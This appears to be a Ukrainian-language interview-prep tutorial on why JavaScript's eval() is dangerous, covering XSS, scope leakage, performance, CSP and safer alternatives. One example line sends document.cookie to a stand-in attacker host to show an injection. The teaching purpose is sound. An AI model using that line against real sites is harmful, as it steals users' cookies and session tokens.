Чому eval() небезпечний
eval() приймає рядок JavaScript-коду і виконує його як звичайний код під час роботи програми. Це буквально міні-інтерпретатор JavaScript усередині JavaScript, і саме тому він перетворює будь-які дані на виконуваний код з усіма наслідками для безпеки.
Теорія
TL;DR
eval(code)виконує рядок як код у поточному контексті виконання.- Якщо в рядок потрапляє ввід користувача, це XSS або remote code execution.
eval()бачить усі змінні поточної області видимості, тобто ламає ізоляцію.- Рушій не може оптимізувати такий код, JIT і inline-оптимізації вимикаються.
- Прямий і непрямий виклик працюють у різних областях видимості.
- Сувора CSP без
unsafe-evalзабороняє виклик, і браузер кидає помилку. new Function()має ті самі ризики, бо теж виконує рядок як код.
Швидкий приклад
eval("console.log('Hello, world!')"); // the string is executed as code
const userInput = prompt('Enter something:');
eval(userInput); // never do this: the user decides what your app runsРизик 1: XSS і виконання довільного коду
Якщо в eval() потрапляє ввід користувача, це катастрофа. Достатньо ввести:
alert('Hacked!');і код виконається. У гіршому випадку:
fetch('https://attacker.example.com/steal?cookies=' + document.cookie);Зловмисник отримує куки користувача і токен авторизації. Це називається XSS (Cross-Site Scripting) або Remote Code Execution.
Ризик 2: порушення ізоляції області видимості
eval() виконується у поточному контексті, тобто має доступ до всіх змінних і функцій вашого скрипта:
const secret = 'myToken123';
eval('console.log(secret)'); // prints the secretЯкщо хтось впровадить свій код, він отримає повний доступ до внутрішнього стану застосунку.
Ризик 3: втрата оптимізації і непередбачувана область видимості
Сучасні рушії (V8, SpiderMonkey, JavaScriptCore) сильно оптимізують код під час компіляції. Але поруч з eval() рушій не може передбачити, який код виконається, тому оптимізацію доводиться вимикати. Наслідки:
- код працює повільніше;
- garbage collector втручається частіше;
- inline та JIT-оптимізації вимикаються.
Окрема пастка, різниця між прямим і непрямим викликом. Прямий виклик працює в поточній області:
let x = 1;
eval('x = 10');
console.log(x); // 10Непрямий виклик, наприклад через (0, eval)(...), працює у глобальній області:
let x = 1;
(0, eval)('x = 10');
console.log(x); // 1
console.log(window.x); // 10Через це код стає непередбачуваним і важким для налагодження.
Безпечні альтернативи і CSP
Найчастіше eval() намагаються використати, щоб розібрати JSON, викликати функцію за іменем або обчислити вираз з рядка. Усі ці задачі мають безпечні відповідники:
| Задача | Безпечна альтернатива |
|---|---|
| Розбір JSON | JSON.parse(str) |
| Виклик функції за іменем | obj[funcName]() |
| Динамічна логіка | Map або switch |
| Шаблони | template literals (рядки з підстановкою) |
| Математичні вирази | окремий парсер (math.js, expr-eval) |
Конструктор Function теж небезпечний. Іноді думають, що new Function() безпечніший, але він так само виконує рядок як код:
const sum = new Function('a', 'b', 'return a + b');
console.log(sum(2, 3)); // 5Працює, але якщо туди потраплять дані від користувача, ризик той самий, що й з eval().
Крім того, eval() не можна використати під суворою Content Security Policy. Якщо у HTTP-заголовках вказано:
Content-Security-Policy: script-src 'self'то при спробі викликати eval() браузер просто кине помилку:
Refused to evaluate a string as JavaScript because 'unsafe-eval' is not allowedПорівняння поганого і прийнятного підходу. Погано:
function runExpression(expr) {
return eval(expr);
}
runExpression('2 + 3 * 4');Краще, з попередньою перевіркою допустимих символів:
function safeEval(expr) {
const allowed = /^[0-9+\-*/().\s]+$/;
if (!allowed.test(expr)) throw new Error('Invalid characters');
return Function(`"use strict"; return (${expr})`)();
}
console.log(safeEval('2 + 3 * 4')); // 14Підсумок ризиків:
| Проблема | Чому небезпечно |
|---|---|
| Вразливість до XSS | Виконує довільний код |
| Порушує ізоляцію | Доступ до всіх змінних |
| Повільно | Вимикає оптимізацію рушія |
| Непередбачувано | Різна область видимості у прямого і непрямого виклику |
| Несумісно з CSP | Заборонено на сайтах із суворою політикою |
Типові помилки
- Розбір JSON через
eval(). Класична стара звичка;JSON.parse()і швидший, і не виконує код. - Віра в те, що
new Function()безпечний. Це той самий механізм, лише з власною глобальною областю видимості. - Фільтрація «поганих слів» у рядку. Чорні списки обходяться; єдиний надійний підхід, це біла мова допустимих символів або повна відмова від виконання рядка.
eval()для виклику функції за іменем. Замістьeval('obj.' + name + '()')пишітьobj[name](), це і безпечно, і читабельно.- Ігнорування непрямого виклику.
(0, eval)(str),window.eval(str)іsetTimeout('код')теж виконують рядок як код, часто у глобальній області. - Додавання
unsafe-evalу CSP, щоб «запрацювало». Це знімає саме той захист, який мав врятувати застосунок від впровадженого коду.
Коротка відповідь
Для співбесідиКоротка відповідь допоможе вам впевнено відповідати на цю тему під час співбесіди.